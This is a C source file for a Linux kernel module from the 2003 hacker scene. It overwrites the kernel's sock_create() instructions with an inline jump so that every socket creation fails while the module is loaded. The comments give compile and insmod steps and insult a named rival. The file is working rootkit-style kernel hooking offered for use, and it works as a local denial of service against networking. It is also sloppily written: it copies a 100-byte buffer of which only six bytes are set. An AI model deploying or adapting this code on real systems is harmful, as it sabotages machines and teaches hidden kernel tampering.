/*
	Kernel patching using modules. 

	j00n1x (c) 2003

	This module can override any function within the kernel because
	it overwrites the actual instructions instead of fiddling with
	syscall tables, etc. ;)

	Special thanks to the resident F0x Mu1d3r for first telling me this
	technique. 

	Greetz: 7hc69x, p4lmb34ch, s3cur3d, k40su, n1njat3c, g4ntr3p, 
	d1sc0f0ruz.

	F*** j00s: elus1ve the arr0g4nt l4m3r h0h0h0. If only the people
	j00 babb1ed about j00r skillz knew j00 used netcat to 'craft'
	packets. hahahaha. This m0du13 waz cr34t3d just f0r j00.

	Function overwritten:
	Hook sock_create() which is a non-syscall function so that any
	calls to socket() in application programs will result in failure. 

	Compile:
	gcc -c -D__KERNEL__ -DMODULE module-skel.c
	
	Running (as root):
	insmod ./module-skel.o

	To remove (as root):
	rmmod module-skel
*/

#include <linux/kernel.h> // printk

#include <linux/module.h>
#include <linux/init.h>
MODULE_LICENSE("GPL");

// buffer for storing asm code
#define BUFFER 100
static char old_hook_buffer[BUFFER];
static char new_hook_buffer[BUFFER];

// prototypes
extern int sock_create(); // outside of module
static int my_sock_create(); // in this module

// hook addresses
static char *old_hook = (char *) sock_create;
static char *new_hook = (char *) my_sock_create;

// overriding function
static int my_sock_create()
{
	printk("elus1ve is an arr0g4nt l4m3r h0h0h0h0.\n");
	return -1;
}

// setup asm code in buffer
static void init_new_hook_buffer()
{
	// setup a hook asm code "jmp *addr"
	new_hook_buffer[0] = 0xff;
	new_hook_buffer[1] = 0x25;
	*(int *)(new_hook_buffer+2) = (int)&new_hook;
}

static void patch()
{
	// save old code at old hook
	memcpy(old_hook_buffer, old_hook, BUFFER);
	// copy new code at old hook
	memcpy(old_hook, new_hook_buffer, BUFFER);
}

static void unpatch()
{
	// copy back old code at old hook
	memcpy(old_hook, old_hook_buffer, BUFFER);
}

static int __init myinit()
{
	printk("Hello!\n");

	init_new_hook_buffer();
	patch();
	
	return 0;
}

static void __exit myexit()
{
	printk("byebye!\n");

	unpatch();
}

module_init(myinit);
module_exit(myexit);